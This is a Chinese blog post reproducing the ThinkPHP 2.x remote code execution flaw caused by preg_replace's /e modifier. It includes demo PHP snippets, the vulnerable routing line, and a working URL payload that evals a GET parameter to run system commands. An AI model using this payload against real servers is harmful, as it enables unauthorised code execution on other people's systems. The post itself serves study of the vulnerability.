当前位置:网站首页>ThinkPHP2-RCE漏洞复现
ThinkPHP2-RCE漏洞复现
2022-06-09 00:10:00 【Hummer-200】
ThinkPHP2-RCE漏洞复现
影响版本:PHP 5.2~5.6
/e 修 正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错 误。
在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
例如:
<?php
$a = "abc";
$b = "aaaachummercaaaa";
echo preg_replace("/c(.+?)c/e",$a,$b);
?>;
输出:aaaaabcaaaa;
如果$a可控,如下:
<?php
$a = 'print_r("AAA");';
$b = "aaaac123caaaa";
echo preg_replace("/c(.+?)c/e",$a,$b);
?>;
输出如下:

由此可见,preg_replace()函数在匹配时,会自动执行replacement。
我们在对代码进行修改
<?php
function test($str){
return "$str";
}
$a = "test('\1');";
$b = "aaaac${@print_r('AAA')}caaaa";
preg_replace("/c(.+?)c/e",$a,$b);
?>;
输出:
通过上图可以看到,如果$b可控,匹配到的字符串传递给了test函数,并将返回值给了$a,从而控制$a。这样就可以通过preg_replace()的/e修饰符执行可控参数了。
然而,/e修饰符在php版本为5.2~5.6时才可使用。
再回来看ThinkPHP2漏洞的出现点:
ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);


其中的$var为前面定义的一个数组。

将两个匹配到的字符串分别复制给$var的key和value,/e修饰符使其能够执行。
$paths定义如下:

它的功能是返回URL后面的参数
thinkphp路由的格式是分组/模块/操作名/参数
因此构造payload:
?s=/a/b/c/${@eval($_GET[1])}&1=system(%27whoami%27);

边栏推荐
- The State Administration of market supervision took the initiative to supervise the 618 e-commerce promotion Festival: what are the criticisms of the e-commerce promotion Festival
- Mode de communication inter - processus (pipeline, file d'attente de messages, zone de cartographie de la mémoire, mémoire partagée, etc.)
- Student management system architecture design document
- Setting app info中disable按钮
- Online Morse code online translation and conversion tool
- 浮云绘图CAD编辑器源码开发之直线、方块、圆等基础图元操作和接口定义
- Programming simple popular science series - what is programming (1)
- 进程间通信方式(管道、消息队列、内存映射区、共享内存等)
- figlet:ASCII 艺术字生成器
- Deployment (10): intranet cluster NTP clock synchronization
猜你喜欢

Member points consumption management system based on SSH

Live broadcast preview | featurestore meetup V3 is coming!

Outsourced student management system architecture document (architecture practice camp module 3 homework)

Programming simple popular science series - what is programming (1)

浮云绘图CAD编辑器源码开发之直线、方块、圆等基础图元操作和接口定义

最大子段问题

运算符

Chapter 2 variables, data types, and operators

外包學生管理系統架構文檔(架構實戰營 模塊三作業)

Parameter ‘XXX‘ not found. Available parameters are [arg1, arg0, para
随机推荐
枚举问题之匹配对手
Shutter cascading layout components
云原生技术---kubeadm使用外置etcd集群
ViT Slimming——联合结构搜索与Patch Selection
Excel(0) : 相關文檔
Sequential action localization | weakly supervised temporal action localization using fragment contrast learning
Superslide picture switching
同花顺股票开户安全吗?如何办理开户呢?
百鸡问题扩展-N鸡问题
小黑舔一口尝尝torchText
跳一跳
Non-constant range: argument must be an integer literal
Relative positioning layout components of the shutter
google国内镜像网址收集
很抱歉!您访问的页面不存在......
JS login verification
构造函数与析构函数
Constructors and Destructor
JS add to collection
fastlane build 版本号自增